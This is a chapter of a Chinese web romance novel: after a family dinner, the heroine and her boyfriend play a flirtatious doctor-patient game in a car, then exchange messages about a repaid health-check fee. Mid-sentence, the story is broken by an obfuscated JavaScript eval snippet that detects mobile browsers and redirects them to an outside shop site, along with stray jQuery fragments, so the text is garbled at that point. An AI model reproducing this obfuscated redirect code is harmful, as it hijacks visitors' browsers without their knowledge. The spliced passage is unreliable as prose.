虞爸心酸极了,喝多了红酒手也不稳,一不留神,勺子掉去了地上,发出清脆的声响,他弯身去捡。 “啊!”虞听突然发出一声惊叫。 虞爸虞妈都吓了一跳:“怎么了?” 虞听:“……没什么,看见个虫子。” 虞爸起身,满脸疑惑:“虫子?这里也会有虫子吗?” 当然不会有了。 真相是刚刚他去桌底捡勺子的时候,方嘉年一把将她乱摸的手推开了,力气用得有点大。 一顿饭吃完,结算过账单并付过小费后,方嘉年起身向虞爸虞妈道:“容我先失陪一下。” 他将西装外套搭在手臂上,正好遮住了某个位置。 虞妈只当他去洗手间方便,也没太在意,说:“去吧,我们在门口等你。” 只有虞听知道他是去干什么的,赶紧说:“我也去!” 去就去,虞妈被她吓了一跳:“这么大声做什么?” 虞听嘿嘿笑:“我有点急。” 她跟上前面方嘉年的步伐,挽住他的手臂,眼珠子贼溜溜的,控制不住地往他被外套挡住的部位看,压低声问:“哥哥,还好吗?” 她生怕方嘉年走路不方便,已经做好了自己点火自己灭的觉悟。 方嘉年一只手捏着她的下巴,将她的脑袋转向正前方:“看前面,再盯着看哥哥就要当众出丑了。” 虞听立即目视前方,表情端庄地像要去打仗。 到了卫生间,二人分头行动,虞听解决完需求,来到外面洗手。 方嘉年还没出来,恐怕要些时间。 她很自觉地站在门口把风,见到有人想要进去,就拦住人说里面正在清洁中,等会儿再来。 就这么拦了好几拨人,方嘉年终于出来了,看到站在男厕门口的虞听,有些惊讶:“怎么站在这里?” 虞听一脸坚毅:“我要守护好哥哥的贞洁。” “……” 方嘉年觉得这种时候还是最好别搭理她,不然嘴里会吐出更多不像样的话。他走到洗手台前,挤了泵洗手液开始洗手。 水流冲过白玉一样的双手,揉搓时生出绵密的泡沫,方嘉年洗手的步骤非常细致,手心手背,十指缝隙,每一个角落都认真地清洁。 明明是再正常不过的场面,虞听却不知为何看出了一种奇怪的味道,眼睛忍不住往他的下半身一瞟,脸颊顿时更燥热了。 方嘉年洗好手,抬头时看见镜子里面红如潮的她,有些好笑:“又在想什么不健康的东西了?” “……没有。” 虞听光速回神,扯了几张纸巾,殷勤地将他手上的水珠擦拭干净。 外面的虞妈一等便是很久,等到两人终于姗姗来迟地走过来,她当然会产生疑惑,他们干什么去了?为什么会消失大半天? 好在虞听早有准备,看到她正要开口,赶紧打断:“妈妈,刚刚嘉年哥吐了。” 虞妈的质问就说不出来了,改成了担心:“是吗?今天是不是喝太多了,胃很难受吧?” 方嘉年微愣。 他刚洗了脸,额发被打湿了一缕。比起方才的端庄整洁,现在多了一丝随性。 “没有。”他顿了顿,“多谢关心。” “别担心,妈妈,哥哥已经吐得干干净净了。” 虞听知道他现在内心有多尴尬,贴心地替他解围。 方嘉年:“……” 虞妈完全看不出他醉到要去吐的地步,反观已经醉得两脚拌蒜的丈夫,他依然眼神清明,脸都不红,仿佛喝下去的都是水一样。 不过有些人就是喝酒不上脸,从外表看不出来,说不定是天赋异禀。 醉酒的虞爸完全忘记了立场问题,跟方嘉年哥俩好起来,向他诉说着养女不易,以后千万不要生女儿。 虞妈不想看他继续丢人,将人塞进了出租车里,又问虞听:“你是现在跟我们一起回去,还是……” “我晚点再回去,妈妈。”虞听没有一秒钟的犹豫。 “行。” 虞妈也没有太阻拦,正要感谢方嘉年今天请客吃饭和陪同体检,被强行塞进车里的虞爸又从窗户探出头来。 “宝宝,你怎么不上车啊?快上车。” 到这种时候反而又清醒了。 虞听抢先占领道德高地,对老父亲发起攻击:“我要送嘉年哥回去。爸爸非要拉着他喝酒,导致他都没法开车了,这个你也承认吧?” “啊?”虞爸被泡在酒精中的脑子又没办法运转了,迷迷糊糊道,“那你好好送他回去,记得……记得九点前回家啊……” “嗯,爸爸再见,妈妈再见。” 目送出租车离去后,虞听挽上方嘉年的手臂:“我们也走吧。” 方嘉年喝了酒不能开车,本来想叫代驾,可虞听却坚持自己可以开车送他。 她的驾照去年高考后的暑假才拿到,上路也没有几次,坐上驾驶位后就一直发愣。 方嘉年实在忍不住问:“可以吗?不行还是叫代驾吧。” 可虞听却扭过头,捧着自己的手,哭丧着脸道:“哥哥,我的手好痛,好像开不了车。” 方嘉年:“……” 她可怜兮兮地把自己的手递过来:“方医生,请你帮我看看,是不是扭伤了?” 只是推了一下,根本不可能造成扭伤。 某人的戏瘾又犯了。 方嘉年舔了下后槽牙,笑了:“行,我帮你看看。” 就像对待真正的患者那样,他接过她的手,这里捏捏,那里敲敲,还要问虞听痛不痛。 虞听全部都回答痛,她甚至还挤出了逼真的眼泪花:“怎么样?方医生,我是不是病入膏肓了?” “暂时还不知道,需要进一步的检查。” 话音刚落,他就低下头,将高挺鼻梁埋入她的手掌,嗅来嗅去。 炙热的呼吸喷洒在掌心,虞听几乎下意识地手一缩,慌张道:“怎……怎么还闻上了?不是在性.骚扰女患者吧?” 方嘉年从她掌心抬起眼,清冷漆黑的眼睛里满是被质疑专业性的不悦。 “望闻问切,没听说过么?” “那……那不是中医的东西吗?” 不要因为她读书少就骗人! 方嘉年:“中西一体,本人不才,都有所涉猎。” 虞听睫毛颤了颤:“那请问不才的方医生,我是个什么病症,您诊断出来了么?” “诊出来了。” “什……什么病?” “淫.乱病。” “……?!” “伴随有性.成瘾症状。其主要表现为在公共场所不分场合地摸男人大腿,进行猥.亵。” “……” 虞听脸涨得通红,恼羞成怒地一把抽回手:“我不看了!” 什么庸医! 他才淫.乱病!他才性.成瘾!他才猥.亵! “想什么呢,得治病啊。” 方嘉年一把捉住她往后退缩的手,语气淡淡却不容抗拒。 作为事件发起者的虞听都已经出戏了,他居然还沉浸在这一出情景剧里,专心扮演着医生人设。 哪家医院的医生会这样摸着女病人的手给人看病?果然人家说看起来正常的人,一旦发起疯来就格外出格是没错的…… 虞听一边在心里感慨,一边又实在按捺不住好奇:“要怎么治?” 给她打针吃药?还是做手术? 方嘉年却扯出一个暧.昧的笑容,冰凉的指尖缓缓抚摸过她的下颚:“淫.乱的孩子要受到惩罚。” 虞听瞬间脸变得滚烫,连耳根都涨红了,像有一把火在心底雄雄燃烧,忍不住东张西望起来。 “……现在?在这里?” 也……也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720373|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是不行。 这样想着,脸越发地热了,心理上十足羞耻,可身体却极度渴望,于是声音低得跟蚊呐一样,头也不敢抬起来,像做错了事一般。 “好……好吧。” “什么?”方嘉年用温柔的语气命令,“大声点。” 虞听鼓足了勇气才抬起头,薄薄的脸颊下渗出鲜血一般的红色,几乎从喉咙中挤出一句话来。 “请……请惩罚我吧。” 方嘉年满意地笑了,低头亲了下来。 *** 体检报告在一周后才出来,方嘉年发来消息询问。 嘉年哥:结果怎么样? 猫咪不吃鱼:医生说没什么问题,妈妈身体很健康,爸爸的血脂有些偏高,平时只要注意饮食,多运动就好了。 VIP套餐服务就是周到,拿到体检报告后,还有专门的医生一对一地进行解释。 想到这里,虞听突然记起一件事,手指操作几下,给方嘉年发起转账。 猫咪不吃鱼:这是体检的钱。 说完怕他生气,又赶紧打字解释。 猫咪不吃鱼:妈妈让我给的。 知道是方嘉年出的体检套餐的钱,而且还是最昂贵的那个套餐之后,虞妈给女儿转了一笔钱,让她把钱还给人家。 虞听当时有些惴惴不安:“妈妈还是讨厌嘉年哥吗?” 虞妈不解:“这跟我讨不讨厌他有什么关系?” 虞听:“那为什么要给他钱?” 虞妈苦口婆心教育她:“即使是谈恋爱,钱的事也要分清,今天别说是我和你爸爸体检,哪怕是你体检,这钱也不该由他来出。你是我们家养出来的,不要贪这些小便宜。” 虞听听完,也没好意思说人家早就给她打过一笔五位数的压岁钱,只能摸了摸鼻尖说:“好吧。但是饭钱就没必要给了吧?” 虞妈也没坚持:“行,那就当是他请长辈吃顿饭了,但是体检的费用要给他。” 可方嘉年最终也没收下这笔钱,点了拒绝收款。 嘉年哥:自己留着用。 虞听反反复复看这五个字,试图从这句话里分辨出他有没有生气的意思。 应该是生气了吧?为什么语气这么冷漠?为什么不发他那些过时的颜文字? 她慌忙埋头打字。 猫咪不吃鱼:哥哥,我妈妈夸你帅呢。 猫咪不吃鱼:世上怎么会有这么帅的人呢?这张脸简直就是国家宝藏!人类的福音!我决定了,我要把哥哥的备注改成全世界最帅的男朋友! 嘉年哥:我没生气。 哇!真神奇,是怎么看出她在安慰他的? 虞听左右张望,不会是在她的房间里装监控了吧? 猫咪不吃鱼:真的? 猫咪不吃鱼:生气也没关系,我理解。 猫咪不吃鱼:就生气吧,就让无辜的我来承受哥哥的怒火吧。 虞听代入自己想了一下,如果是她一腔真心对待别人,最后却迎来了冷冰冰的转账通知,要与她银货两讫,划清界限,她只会感觉一桶冷水从头淋到脚。 可方嘉年很快给了她回复。 嘉年哥:真的。 嘉年哥:我有你就够了。 啊…… 虞听抱着滚烫的手机躺在床上,感觉心脏也被烫得发热了。 费尽心思安排的体检并没有收到相应的成效,虞妈的态度都还好,只能说不冷不热,可虞爸却始终看不顺眼方嘉年,并要求虞听每天必须准点到家,不然他就报警。 四月了,春天到了,万物躁动,小动物们也进入了发.情.交.配的季节。 虞听心里总是痒痒的,恨不得一天二十四小时挂在方嘉年身上,但有门禁限制,想多待一会儿都不行,稍微拖延就会收到老爸的追魂夺命call。 可就在某一天,机会来了! 因为家里亲戚结婚,虞爸虞妈要回老家一趟。 虞听要留在学校上课,当然是去不了的。 离开前,虞妈对她交代了一系列独自留家的注意事项,比如不能随便给陌生人开门,不能经常点外卖,不要把鸡蛋放入微波炉之类的小事。 虞听点头如捣蒜:“我知道了,妈妈,放心吧,你们快出门吧,不然要赶不上飞机了。” 那模样恨不得他们马上就走。 虞爸岂能不知道她在想什么,哼了一声:“记得九点前要回家,我会每天都盯着监控的,一秒钟都不会错过。” 虞听:“……” 送走老爸老妈,虞听迅速掏出手机,给方嘉岁火急火燎地发去一条消息。 猫咪不吃鱼:江湖救急!!!